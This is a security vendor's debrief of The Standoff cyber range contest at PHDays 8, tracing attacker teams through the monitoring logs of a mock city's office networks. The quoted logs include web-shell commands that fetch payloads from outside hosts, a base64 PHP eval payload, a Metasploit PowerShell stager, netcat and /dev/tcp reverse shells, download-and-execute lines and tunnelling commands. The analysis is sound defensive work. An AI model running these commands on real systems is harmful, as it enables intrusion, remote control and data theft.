The Standoff at Positive Hack Days 8: attack debriefing

The Standoff was back this year at Positive Hack Days 8, where over 100 participants on 12 attacker teams, 7 defender teams, and security operations center (SOC) teams were eager to show their mastery of the digital systems of an entire mock city.

The city network was monitored by three Positive Technologies products:

• MaxPatrol SIEM – security information and event management (SIEM)
• PT Network Attack Discovery – network traffic analysis, incident detection, and investigation
• PT MultiScanner – multilevel system for identifying and blocking malicious content

Functioning of these products and game events were all under the watchful gaze of the Positive Technologies Expert Security Center (PT ESC), which shared its findings with the PHDays audience. So many events took place that it would be impossible to describe them all. Here we will focus on describing the networks of Office 2 (belonging to fictional systems integrator SPUTNIK) and Office 1 (belonging to fictional insurer BeHealthy). Office 2 was interesting because it was monitored by the Rostelecom SOC, but not under the protection of any defender team, due to which attackers had free run of its systems.

Besides these two offices, the city also contained an electrical plant with substation, railroad, smart homes, and banks with ATMs.

In the paragraphs that follow, we will describe events at Office 1 and Office 2 as viewed through MaxPatrol SIEM, PT NAD, and PT MultiScanner in close technical detail.

Addressing of the attacker teams was of the format 172.31.x.0/24, where "x" was the number (between 1 and 8) identifying a particular attacker team. There were 12 attacker teams in total, but due to the architecture of the network infrastructure (the network core was emulated on a Cisco CSR1000v) and the available physical equipment, only eight physical network interfaces could be set up for the teams throughout the game area. As a result, four of the networks had two teams each.

Office 2 had four network segments ("Security Team" refers to the SOC responsible for the office):

DMZ (100.64.154.0/25)

Servers (10.106.60.0/24)

Company Employees (10.106.50.0/24);

Security Team (10.106.82.0/24)

Hosts in the DMZ were accessible to all attackers. When attackers accessed these hosts, the attackers' real network addresses were translated from the pool 100.110.255.0/24, which made it difficult for defenders to identify the source of network traffic. Traffic could be from one of the twelve attacker teams, or it could be the (legitimate) script checker, run by the organizers to verify service availability, whose traffic came from the same address pool as the attackers

To "feed" our products with events, we captured and forwarded copies of all network traffic to PT NAD and also set up an extended audit of events involving target systems, information regarding which was provided to MaxPatrol SIEM.

An overview of PHDays attacks and team-by-team analysis can be found in our previous article.

Joomla (100.64.154.147)

One of the servers in the DMZ of Office 2 was a server running the Joomla CMS. A few hours after the start of the game, PT NAD began picking up the first signs of compromise of the server, specifically, upload of a web shell from the pool of "gray" IP addresses:

All attacker subnets terminated on the same firewall (Attacker-FW). When connecting to targets, the IP addresses of attackers were translated into "gray" IP addresses from a single pool (100.110.255.0/24). So to attribute attacks to particular teams, we enriched network-to-network connection information based on the NAT table of the firewall.

Here is how this looked in MaxPatrol SIEM:

In this case, we can see that the attack was initiated by Team 1. But since the same address pool was used by multiple teams, we cannot identify teams based on a request from a particular network with great certainty. Therefore here we will identify teams by their network numbers.

An hour after the attacks attempted by Team 1, PT NAD detected uploading by Team 8 of a different web shell with the self-explanatory name SHE__.php. We cannot say for sure whether this was the consequence of a server hack or simple scan. But a few minutes later, the same Team 8 established an SSH session as the unprivileged user "user".

The password for the account was near the top of the rockyou dictionary, and therefore easily bruteforced. Team 8 obtained access to the root account only around 4:00 p.m. because "user" was in the group with the right to run commands as root without a password. This is clear from the MaxPatrol SIEM logs: we see login as "user" and then escalation of privileges using the sudo command.

(The time indicated in logs may differ from the actual time by three hours due to the configuration of the game servers.)

By the evening of Day 1 of The Standoff, Team 6 took control of Joomla. PT NAD detected exploitation of a vulnerability (strictly speaking, a feature) thanks to which the team uploaded and started using the WSO web shell.

100.110.255.160 - - [15/May/2018:09:39:31 -0700] GET /templates/beez3/index.php HTTP 100.110.255.160 - - [15/May/2018:09:39:35 -0700] POST /templates/beez3/index.php HTTP 100.110.255.160 - - [15/May/2018:09:39:35 -0700] GET /templates/beez3/index.php HTTP 100.110.255.220 - - [15/May/2018:09:39:56 -0700] POST /templates/beez3/index.php HTTP … 100.110.255.32 - - [15/May/2018:09:44:39 -0700] POST /templates/beez3/index.php HTTP 100.110.255.118 - - [15/May/2018:09:44:43 -0700] POST /templates/beez3/index.php HTTP 100.110.255.145 - - [15/May/2018:09:44:49 -0700] GET /templates/beez3/index.php HTTP

The script used by the team to upload web shells requires an administrator password. The password was obtained with the help of vulnerability CVE-2017-14596 in the Joomla authentication mechanism via LDAP. By changing the authentication LDAP request, the attackers can quickly bruteforce the administrator username and password.

Half an hour later, Team 6 pwned the whole system.

The machine was put to use by the attackers for scoping out the network of SPUTNIK's Office 2 using the Nmap and hping3 utilities.

All data from MaxPatrol SIEM.

At 9:17 p.m., we discovered that an OpenVPN client had been installed and launched on the Joomla server. The connection went to server 195.16.61.229, located in Moscow. Not long after we learned that this was the work of Team 6, which successfully used the remote system to sneak in outside reinforcements and get more hackers on their side. .

Traffic with the remote system was inside an encrypted tunnel, so we cannot say exactly went on or how much it influenced game events. We can only make educated guesses based on the number of VPN sessions and amount of data transferred.

Most interestingly, the team did not clean up the traces: after the game, we found an OpenVPN configuration file on the server. This file contained the root and personal certificates, private key, and personal information of the key owner. One could easily use a search engine to identify the person going by "phonexicum" to which the configuration file belonged. A full map illustrating all in-game VPN connections is at the end of this article.

Additional interesting events began to crop up after midnight (three hours should be added to the times indicated in the logs).

The /id.php shell of Team 4 finds Team 1:

[15/May/2018:21:58:22 +0000] "GET /id.php HTTP/1.1 [15/May/2018:21:58:24 +0000] "GET /id.php HTTP/1.1 [15/May/2018:21:58:34 +0000] "GET /id.php?c=ls HTTP/1.1 [15/May/2018:21:58:38 +0000] "GET /id.php?cmd=ls HTTP/1.1 [15/May/2018:21:59:53 +0000] "GET /id.php?cmd=id HTTP/1.1 [15/May/2018:21:59:56 +0000] "GET /id.php?cmd=ls+-la HTTP/1.1

The team immediately gets to work on the system by saving the WSO web shell under the name 123.php.

[15/May/2018:22:00:05 +0000] "GET /id.php?cmd=wget HTTP/1.1 [15/May/2018:22:00:10 +0000] "GET /id.php?cmd=wget -h HTTP/1.1 [15/May/2018:22:00:53 +0000] "GET /id.php?cmd=cat index.php HTTP/1.1 [15/May/2018:22:01:04 +0000] "GET /id.php?cmd=wget http://txt.731my.com/wso.txt -o 123.php HTTP/1.1

Team 1 was boss for several hours, until Team 4 discovered the other team's presence and renamed id.php to 021371b392f0b42398630fd668adff5d.php.

[16/May/2018:00:06:13 +0000] "GET /id.php?cmd=id HTTP/1.1 [16/May/2018:00:06:26 +0000] "GET /id.php?cmd=ls HTTP/1.1 [16/May/2018:00:07:16 +0000] "GET /id.php?cmd=mv id.php 021371b392f0b42398630fd668adff5d.php HTTP/1.1

021371b392f0b42398630fd668adff5d.php was later renamed to kekekeke.php and kekpek.php.

[16/May/2018:00:41:23 +0000] GET /021371b392f0b42398630fd668adff5d.php?cmd=echo "<?phpeval(base64_decode(ailYmWoCX2oBXg8FSJdSxwQkAgAd3UiJ5moQWmoxWA8FWWoyWA8FSJZqK1gPBVBWX2oJWJm2EEiJ1k0xyWoiQVqyBw8FSJZIl18PBf.chr(47).m));?>" > kekekeke.php HTTP/1.1 [16/May/2018:06:20:52 +0000] GET /021371b392f0b42398630fd668adff5d.php?cmd=wget%20193.124.190.162/kek.php -O kekpek.php HTTP/1.1

Later events on the domain infrastructure of Office 2 (SPUTNIK) are closely related to what happened on Joomla.

SPUTNIK (10.106.60.0/24)

After Joomla was hacked, attackers gained access to internal segments of the infrastructure of Office 2 (SPUTNIK). A bit later, the domain controller WIN2008R2-DC.domain2.phd (10.106.60.10) was on the receiving end of attacks involving exploit MS17-010.

The sequence of subsequent events is outlined by the MaxPatrol SIEM log.

The attacker first created a user with the name "username" and password "1qazzaq!" and added it to the local administrators group. Successful exploitation of exploits from advisory MS17-010 grants access with NT-Authority\System privileges. In Windows logs, such access is displayed as win2008r2-dc$.

As the new user, the attacker then created a few services for launching a PowerShell script.

%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -noni -c if([IntPtr]::Size -eq 4){$b=$env:windir+'\sysnative\WindowsPowerShell\v1.0\powershell.exe'}else{$b='powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object IO.StreamReader(New-Object IO.Compression.GzipStream((New-Object IO.MemoryStream([Convert]::FromBase64String(''H4sIAGRK+1...u9uxfACgAA'')))[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);""

This script, generated by the Metasploit framework, attempts to open a socket on port 55443 for listening and launch the payload that arrives on this port (most likely, Meterpreter).

This attempt to launch a remote shell was successful. The attackers continued developing the attack: "username" created another account, named "vitalik", and added it to the Domain Admins group. Soon we see interactive login.

After "vitalik" created a service with the help of the same PowerShell script as "username", the latter account performed a mass reset of passwords for domain accounts and began to probe neighbor Win2008R2-EXCH, the domain mail server.

Simultaneous activity by "username" and "vitalik" on the domain Exchange server (scanning and login) suggests that multiple team members were active on the SPUTNIK network at the same time.

"vitalik" checked the accessibility of the mail server and launched the server administration console after interactive login.

Having found nothing of interest, "vitalik" now dragged a number of tools and heavy artillery to host Win2008R2-DC: numerous PowerShell scripts and the BloodHound framework (a popular tool for Active Directory recon) appeared on the domain controller. To access the BloodHound web interface, the attacker had to disable Internet Explorer Protected Mode, which was noticed by the SIEM.

Network activity by BloodHound caught the attention of PT NAD. For example, BloodHound scans network hosts for active connections. Such traffic directed at the SRVSVC service triggers a PT NAD signature, indicating reconnaissance from within the network.

Around 1 a.m., the attackers—having first created a shadow copy of the disk using the vssadmin utility—made off with the ntds.dit database containing all domain accounts. The attackers now had full control of the domain and the hash for the krbtgt account. With this account, the attackers could create and use a Kerberos golden ticket for unlimited access to domain resources, accessing servers as any existing (or non-existing) user, and performing any actions imaginable on the domain. Detecting golden ticket use is difficult, but compromise of the krbtgt user and ntds.dit is a different story.

The team gradually switched gears from domain exploration to probing the newly accessible ICS network. After putting the Nmap scanner on the computers of SPUTNIK employees (YLAVRENTIEV.sputnik.phd and EPONOMAREV.sputnik.phd), attackers started scanning the 172.20.x.x network. They used nmap_performance.reg to change TCP/IP stack parameters and accelerate scanning of the ICS network.

Connections to ICS hosts via tunnels on SPUTNIK domain hosts speak for themselves. Head over to YouTube for a description of what the hackers were able to pull off on the ICS network.

Other attacker accomplishments included more tunnels, SSH sessions, creative breakthroughs after a sleepless night, and of course mining of our in-game DDoSCoin cryptocurrency.

Zabbix (100.64.100.161)

The system was located in the DMZ of Office 1 and hacked around 12 p.m. by an unidentified team.

Bruteforcing the administrator account was easy enough. The team took advantage of built-in Zabbix functionality to obtain unlimited monitoring capabilities with the help of custom scripts.

Scripts can contain any Linux commands, which the attackers made use of by creating shells and SOCKS proxy servers.

command=/bin/nc -e /bin/sh -lp 5432 2>&1 command=/bin/ping -c 3 {HOST.CONN} 2>&1 command=ls /bin/ command=/bin/nc -e /bin/sh -lp 5432 2>&1 command=/bin/nc -e /bin/sh -lp 5432 2>&1 command=ping 8.8.8.8 command=ping 8.8.8.8; netstat -tulpn command=ping -n 4 8.8.8.8; netstat -tulpn command=ls /tmp/phd command=netstat -tulpn command=wget http://195.16.61.232:8888/x86_elf -O /tmp; ls /tmp command=ls /tmp command=curl http://195.16.61.232:8888/x86_elf --output /tmp/tmp.bin;ls /tmp command=ping -c 4 195.16.61.232 command=touch /tmp/test;ls /tmp/ command=pwd command=whoami command=ls /var/www/html command=which nc command=curl http://195.16.61.230/PHD/ --output /tmp/tmp.bin; ls /tmp command=bash -i >& /dev/tcp/195.16.61.232/8080 0>&1 command=chmod u+x /tmp/tmp.bin;/tmp/tmp.bin command=bash -i >& /dev/tcp/195.16.61.232/195 >&1 command=bash -i >& /dev/tcp/195.16.61.232/1950 0>&1 command=bash -i >& /dev/tcp/195.16.61.232/8080 0>&1

The team unsuccessfully tried to download a module from outside server 195.16.61.232, which they controlled.

After quickly surveying the surroundings, the team used standard Linux methods to install a remote bash shell with the same outside server by sending packets directly to /dev/tcp/.

Just as interesting was the content of traffic between the team and the shells, which was sent unencrypted and picked up by PT NAD sensors.

bash-4.2$ /tmp/gost -L socks4a://:1080 & bash-4.2$ gost -L=:54321 -F=10.100.50.48:3389 bash-4.2$ /tmp/gost -L socks4a://:1080 & bash-4.2$ nmap bash: nmap: command not found bash-4.2$ ifconfig
bash-4.2$ ping 172.30.240.106 bash-4.2$ wget https://gist.githubusercontent.com/sh1n0b1/e2e1a5f63fbec3706123/ raw/1bd5f119a7f1e2d4c9328d78686ae79b4e1642f7/linuxprivchecker.py bash-4.2$ python linuxprivchecker.py bash-4.2$ uname -a bash-4.2$ cd /etc/cron.daily: bash-4.2$ ./gost -L=tcp://:33899/10.100.50.39:3389 bash-4.2$ ./gost -L=tcp://:4455/10.100.50.39:445 & bash-4.2$ ./gost -L=tcp://:1139/10.100.50.39:139 & bash-4.2$ ./gost -L=tcp://:12345/10.100.60.55:3389 & bash-4.2$ ./gost -L=tcp://:12347/10.100.60.5:445 & bash-4.2$ ./gost -L=tcp://:12348/10.100.60.15:445 & bash-4.2$ ./gost -L=tcp://:12349/10.100.50.100:445 & bash-4.2$ ./gost -L=tcp://:12350/10.100.80.28:445 & bash-4.2$ ./gost -L=tcp://:12351/10.100.80.23:445 & bash-4.2$ ./gost -L=tcp://:12352/10.100.80.30:445 & bash-4.2$ ./gost -L=tcp://:12353/10.100.80.32:445 & bash-4.2$ ./gost -L=tcp://:12354/10.100.80.26:445 & bash-4.2$ ./gost -L=tcp://:12355/10.100.80.5:445 & bash-4.2$ ./gost -L=tcp://:12356/10.100.80.9:445 & bash-4.2$ ./gost -L=tcp://:12357/10.100.80.23:445 & bash-4.2$ ./gost -L=socks5://:1081 &

The Zabbix server was mainly used as a staging ground for gathering information about the subnets of Office 1: 10.100.50.0/24 (Users), 10.100.60.0/24 (Servers), and 10.100.80.0/24 (Security Team).

Multiserver (100.64.100.167)

Multiserver is a different Linux host in the Office 1 DMZ with a few HTTP servers and MySQL database. Although Multiserver was scanned intensively, only a few attacks were successful. The host harbored the SambaCry vulnerability, found in 2017 after the MS17-010 vulnerabilities, and the teams tried to exploit it. The PT NAD filter allows localizing these attempts on a timeline.

One of the attempts by Team 3 contained as payload the executable library DTECJtAf.so. Judging by the library name, the attackers were using the is_known_pipename module from the Metasploit framework.

Here is the line of code responsible for this telltale library name:

During The Standoff, the organizers were helped by PT MultiScanner, which checked all files transmitted on the network that were flagged by PT NAD. A moment later, the verdict was in for DTECJtAf.so: Linux/SmbPayload.C.

Judging by absence of subsequent network interactions between the server and Team 3, the exploit was unsuccessful. But at almost the same time, we see an active SSH session from Team 4. The amount of traffic suggests that the attackers were using the server to full advantage.

The first successful SSH login by Team 4 as administrator took place around 3:20 p.m. on Day 1.

The team quickly checked out its privileges and the host as well.

And more than just the host.

Attribution is aided by a linguistic giveaway.

Multiserver was not fully configured and as a result we cannot say with certainly which other attempts were made by the teams. The available logs show that this host, like other hosts in the Office 1 DMZ, served as a jumping-off point for investigating the office's internal infrastructure.

More highlights

Other hosts also attracted attacker attention. It was curious, for example, to see what happened with the Mikrotik router at address 100.64.100.237 in the Office 1 DMZ. Around 2 a.m. on Day 2, successful login to the router console via Telnet with the credentials admin:VxPvRxX74e8xrbia77hsi7WKm was recorded. The router firmware version was 6.38.4—the same version used to test the infamous Chimay Red Stack Clash exploit for Mikrotik, which enables running arbitrary code and learning user passwords on the router. Exploitation was detected by PT NAD.

In the afternoon, the team that was first to take the router decided to pull the ladder up behind them, by updating the firmware to block other teams.

This is one of the few cases when a team closed a security hole in order to prevent other attackers from "stealing" their host.

PT MultiScanner detected another curious event.

To access the bank, teams could use the bank client available on the bank site. The site was on the bank network, where it was monitored by a defender team. The defender team inserted a malicious payload into the client (by using Metasploit) and replaced the original with this modified version. Fortunately for them, several attacker teams downloaded the booby-trapped client, as we can see in the above PT MultiScanner screenshot. No successful connections were recorded, but the case is still worth keeping in mind since similar things happen in real life: attackers insert malicious code into legitimate programs on official sites or tamper with updates.

Miners

Cryptocurrency mining was all-new to The Standoff this year. Teams could use hacked servers as miners to earn additional points. Instead of better-known cryptocurrencies, the currency used was our very own DDoSCoin—the monetary equivalent of the effort spent to DDoS a server. Proof-of-work consisted of TLS 1.2 handshakes. The more TLS handshakes that a miner made with a targeted server, the higher the likelihood of finding a new block that would earn compensation from the DDoS organizer.

The mining client was written in Go and compatible with both Windows and Linux. This was the first time such an idea was implemented and although not all teams did so, we saw attempts to mine on many of the game servers.

Teams mined cryptocurrency, which could be exchanged for game points. Half of the teams used previously hacked servers to mine blocks. DDoSCoin was also subject to supply and demand, thanks to an in-game currency exchange: if the amount of mined currency went up, the exchange rate (points per block) fell. This made it possible to "play the market" and earn more points without even having to complete tasks. But the idea was new to this type of game and teams did not truly put it into action, due to which the effect on gameplay was minimal.

The clear leader in mining (as measured by number of blocks) was CAICA, from Kazakhstan, which was the first team to run miners on game infrastructure. Here we are able to give team names, as opposed to just numbers, because identifiers were included in the block information. Overall, the concept shows clear promise—so expect to see it at The Standoff next year.

Conclusion

The competition got hot at The Standoff! Twelve teams actively probed and hacked the infrastructure of the virtual city. Our products gave a full view of how the teams behaved, which tactics and tools they used, and which targets they pursued. We witnessed their interactions with office domain infrastructure, starting with infection of a single machine and culminating with control over the entire domain and access to the adjacent ICS network.

The load on our products during the game was simply enormous. MaxPatrol SIEM processed 20,000 EPS, while PT NAD handled over 3 terabytes of network traffic, not to mention the network infrastructure itself: routers, switches, and firewalls were truly put to the test in demanding circumstances.

Similar system compromises could very well have happened in real offices that are not properly protected and monitored. Correspondence, financial information, and personal data are all ripe for the taking.

In the midst of constant scanning, bruteforcing, and exploitation of all sorts of vulnerabilities, Positive Technologies products stood fast and helped to determine the precise methods used to hack the game servers. They pinpointed successful attacks and indicators of compromise, including web shells, remote consoles, tunnels, and host logins. All this information will help to strengthen our products against attacks in the wild.

VPN connections during the game are illustrated on the map above. Such connections were made with servers in the U.S., Kazakhstan, Netherlands, and several other European countries. Although none of the teams at The Standoff came from the U.S. or Europe, one team hailed from Kazakhstan.